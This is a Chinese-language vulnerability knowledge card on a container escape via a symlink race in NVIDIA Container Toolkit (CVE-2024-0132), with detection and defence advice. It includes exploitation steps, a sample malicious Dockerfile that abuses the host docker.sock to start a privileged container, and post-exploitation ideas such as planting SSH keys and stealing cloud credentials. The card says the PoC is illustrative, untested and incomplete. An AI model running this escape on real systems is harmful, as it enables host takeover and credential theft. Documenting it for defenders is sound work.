NVIDIA Container Toolkit nvc_driver_mount TOCTOU 符号链接逃逸:挂载宿主机根目录并借 docker.sock 提权(CVE-2024-0132)
cloud/container · verified
一句话结论
使用 NVIDIA Container Toolkit 的宿主机在运行带 --runtime=nvidia/--gpus=all 的容器时,nvidia-container-runtime-hook 会在容器初始化早期调用 libnvidia-container 的 nvc_driver_mount/mount_files 挂载 GPU 驱动库;恶意镜像在 /usr/local/cuda/compat/ 下布置符号链接并利用检查与挂载之间的 TOCTOU,可让宿主机根目录被挂进容器,随后访问宿主机 docker.sock、启动特权容器取得宿主机 root。
原理
- GPU 容器需要运行时 hook:NVIDIA Container Toolkit 通过
nvidia-container-runtime-hook在容器创建阶段把宿主机的 NVIDIA 驱动库、设备节点等挂载进容器,使容器内可以使用 GPU。该 hook 以高权限运行,且执行时间早于容器命名空间完全隔离。 - 路径校验与挂载之间存在竞态:
libnvidia-container的nvc_driver_mount/mount_files在处理共享库路径时,先在第一次迭代中检查攻击者构造的目录“看起来合法”,随后才执行挂载;攻击者可在检查通过后、实际挂载前用快速文件系统操作把该目录替换为指向宿主机/的符号链接(TOCTOU)。 - 符号链接跟随导致跨边界挂载:挂载操作跟随符号链接,把宿主机根目录挂载到容器内;后续迭代继续解析已挂载目录中的恶意符号链接,最终容器内出现宿主机根文件系统的视图,突破容器隔离。
- 从文件系统访问到宿主机控制:拿到宿主机根目录后,容器内可直接访问宿主机上的
docker.sock;Docker API 允许创建新的特权容器并把宿主机/挂载进去,从而在宿主机上执行命令、读写任意文件,完成从容器到宿主机的提权。 - 为什么难防:漏洞不在容器内应用,而在容器运行时 hook 的挂载逻辑;初始容器不需要
--privileged或额外 capability,只要以 NVIDIA runtime 启动恶意镜像即可触发。最终提权依赖宿主机docker.sock可被容器访问,但文件系统逃逸本身已经足以读写宿主机文件。
触发条件
- 宿主机安装并启用了受影响的 NVIDIA Container Toolkit /
libnvidia-container,容器通过--runtime=nvidia、--gpus=all或等价配置启动(Kubernetes 中为 NVIDIA device plugin + runtimeClass)。 - 攻击者能提供恶意容器镜像并诱导受害者运行,或在 CI/多租户环境中让受害者构建/运行该镜像。
- 镜像内可在
/usr/local/cuda/compat/等路径创建目录、文件和符号链接;运行时 hook 会处理这些路径。 - 宿主机上的
docker.sock可被逃逸后的容器访问(挂载、同命名空间或路径可达);若不满足,仍可能通过宿主机文件系统读写扩大影响。 - 目标未升级到厂商修复版本,也未通过准入策略禁止不可信镜像使用 GPU runtime。
利用步骤
- 构造恶意镜像:基于 Alpine 等小镜像安装
docker-cli;在/usr/local/cuda/compat/下创建目录与占位文件,并在/usr/lib64下构造指向该目录的符号链接链;把DOCKER_HOST指向符号链接路径,入口点准备在逃逸后启动特权容器。 - 在受害者环境运行:执行
docker run -it --rm --runtime=nvidia --gpus=all <恶意镜像>。NVIDIA runtime hook 在容器初始化早期触发,开始处理/usr/local/cuda/compat/下的库路径。 - 触发 TOCTOU:在 hook 第一次检查目录合法性之后、实际挂载之前,用快速文件系统操作把目录替换为指向宿主机
/的符号链接;mount_files跟随链接,将宿主机根目录挂载进容器。 - 验证逃逸:在容器内检查
grep CapEff /proc/self/status是否显示完整 capability,尝试touch /host/abc与ls /host/abc;若/host是宿主机根,文件创建成功即证明逃逸。 - 提权到宿主机:通过宿主机
docker.sock调用 Docker API,启动--privileged -v /:/host的新容器,读写宿主机文件、写入 cron/systemd/authorized_keys 或直接执行命令,取得宿主机控制权。 - 后利用:窃取宿主机上的云凭据、Kubelet 配置、容器镜像仓库凭据;在 Kubernetes 环境中进一步攻击同节点 Pod、API Server 或集群 Secret。
PoC
幻灯片给出的恶意镜像 Dockerfile 思路(路径与链接层级仅为示意,实际需按目标环境调整):
FROM alpine
RUN apk add --no-cache docker-cli
RUN mkdir -p /usr/local/cuda/compat/libnvidia-ml.so.6/
RUN touch /usr/local/cuda/compat/libnvidia-ml.so.7
RUN mkdir -p /usr/lib64
RUN ln -s ../../usr/local/cuda/compat/ /usr/lib64/libnvidia-ml.so.6
RUN ln -s ../../../../../../../../run/usr/local/cuda/compat/libnvidia-ml.so.6/libnvidia-ml.so.7
ENV DOCKER_HOST=unix:///usr/lib64/libnvidia-ml.so.7/docker.sock
ENTRYPOINT ["docker", "run", "-it", "--privileged", "-v", "/:/host", "ubuntu"]
构建与运行:
docker build -f Dockerfile.escalation -t nvidia.escalation .
docker run -it --rm --runtime=nvidia --gpus=all nvidia.escalation
容器内验证宿主机访问:
grep CapEff /proc/self/status
touch /host/abc
ls /host/abc
说明:以上 PoC 来自演讲幻灯片,未在本机复现;幻灯片未给出完整竞态触发脚本和逐行利用代码,实际利用需要根据目标 Toolkit 版本调整目录与符号链接布局。
变体与关联
- 变体:其他容器运行时的文件描述符泄漏/挂载竞态,见 [[cloud-container-runc-fd-leak-escape]](CVE-2024-21626)、[[cloud-container-docker-cp-symlink-toctou-escape]](CVE-2018-15664)。
- 关联:逃逸后利用宿主机 Docker API,见 [[cloud-container-docker-socket-tcp-escape]];直接使用特权容器挂载宿主机磁盘,见 [[cloud-container-docker-privileged-host-disk-escape]]。
- 关联:Kubernetes 中的特权 Pod/hostPath 逃逸,见 [[cloud-container-k8s-workload-config-escape]];工作负载失陷后的云身份链,见 [[cloud-k8s-workload-compromise-identity-expansion-privileged-pod]]。
- 边界:本卡描述的是 NVIDIA runtime hook 的挂载竞态;若目标不使用 NVIDIA runtime,或已在准入层禁止不可信镜像使用 GPU,路径不成立。
检测与防御
- 升级:将 NVIDIA Container Toolkit、
libnvidia-container升级到厂商修复版本;升级后确认nvidia-container-runtime-hook仍按预期工作。受影响版本区间以 NVIDIA 官方公告为准,本文未给出具体版本号。 - 限制 GPU runtime:只允许经过审核的镜像使用
--gpus/NVIDIA runtimeClass;在 Kubernetes 中用准入策略(PSA/OPA/Kyverno)限制 GPU 工作负载的镜像来源与权限。 - 隔离 docker.sock:不要将宿主机
docker.sock暴露给普通容器;使用 rootless Docker、用户命名空间、只读根文件系统,丢弃不必要 capability;对必须访问 Docker API 的容器做网络与路径隔离。 - 镜像扫描:静态检查镜像中
/usr/local/cuda/compat/、/usr/lib64下的异常符号链接,DOCKER_HOST指向符号链接路径,入口点启动docker run --privileged等特征;拒绝不可信来源的 GPU 镜像。 - 运行时检测:监控容器内出现宿主机根目录挂载、
docker.sock访问、从容器内创建特权容器、/proc/self/status读取 CapEff 等行为;用 Falco/auditd/eBPF 对mount、openat与 Docker API 调用做告警。 - 最小权限:GPU 节点与普通工作负载分离;容器默认非 root、只读根文件系统;限制宿主机敏感路径与凭据在 GPU 节点上的暴露。